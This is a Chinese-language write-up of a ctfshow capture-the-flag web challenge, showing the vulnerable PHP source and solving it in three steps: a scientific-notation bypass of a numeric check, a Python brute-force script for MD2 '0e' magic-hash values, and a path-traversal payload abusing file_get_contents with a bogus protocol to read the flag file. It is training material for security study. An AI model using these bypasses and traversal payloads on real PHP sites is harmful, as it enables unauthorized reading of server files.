web2_故人心 10

打开链接,给出了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

is_numeric() 函数用于检测变量是否为数字或数字字符串。

第一层绕过

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)

传入的a想要被绕过,必须保证a是数字或数字字符串,并且a不能等于0,a的平方等于0

根据大佬说,php小数点后超过161位做平方运算时会被截断。所以可以用科学计数法,

 

 但是我自己测试时遇到一个小问题

就是构造出来的值不能绕过字符串长度检测

 

 这里输出的b的值是7位,难道get传入时是6位吗?

总之能绕过,然后就是第二层

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));

根据提示查看robots.txt,然后根据提示查看hinthint.txt

 

 

 还好有提示,不然这第二层得跑多长时间呀。

这里的意思就是b值进行md2加密后还要和b原值相等,c值md2加密后再次md2加密,结果依然要和c的原值相等

但是这里给了出了b值和c值后几位数字,那么久可以直接爆破了

这里直接附上大佬的脚本

from Crypto.Hash import MD2

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":

            v = "0e" + v1 + v2 + v3 + "024452"
            obj = MD2.new()
            obj.update(v.encode("utf-8"))
            n1 = obj.hexdigest()

            if n1[0:2] == "0e" and n1[2:11].isdigit():
                print("第一个是:"+v)

for v1 in "0123456789":
    for v2 in "0123456789":
        for v3 in "0123456789":
            for v4 in "0123456789":
                v = "0e" + v1 + v2 + v3 + v4 + "48399"
                obj = MD2.new()
                obj.update(v.encode("utf-8"))
                n1 = obj.hexdigest()

                obj = MD2.new()
                obj.update(n1.encode("utf-8"))
                n2 = obj.hexdigest()

                if n2[0:2] == "0e" and n2[2:11].isdigit():
                    print("第二个是:"+v)

得到结果

第一个是:0e652024452
第二个是:0e165048399
第二个是:0e603448399

第三层绕过

file_get_contents() 函数把整个文件读入一个字符串中。

已经提示了flag在fl0g.txt,所以肯定是要file_get_contents去读的。这里考察了file_get_contents函数的一个小trick:

当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件

构造palyload:

url=httpp://ctfshow.com/../../../../../../../../fl0g.txt

得到flag

 

posted @ 2021-09-29 20:22  微草wd  阅读(65)  评论(0编辑  收藏  举报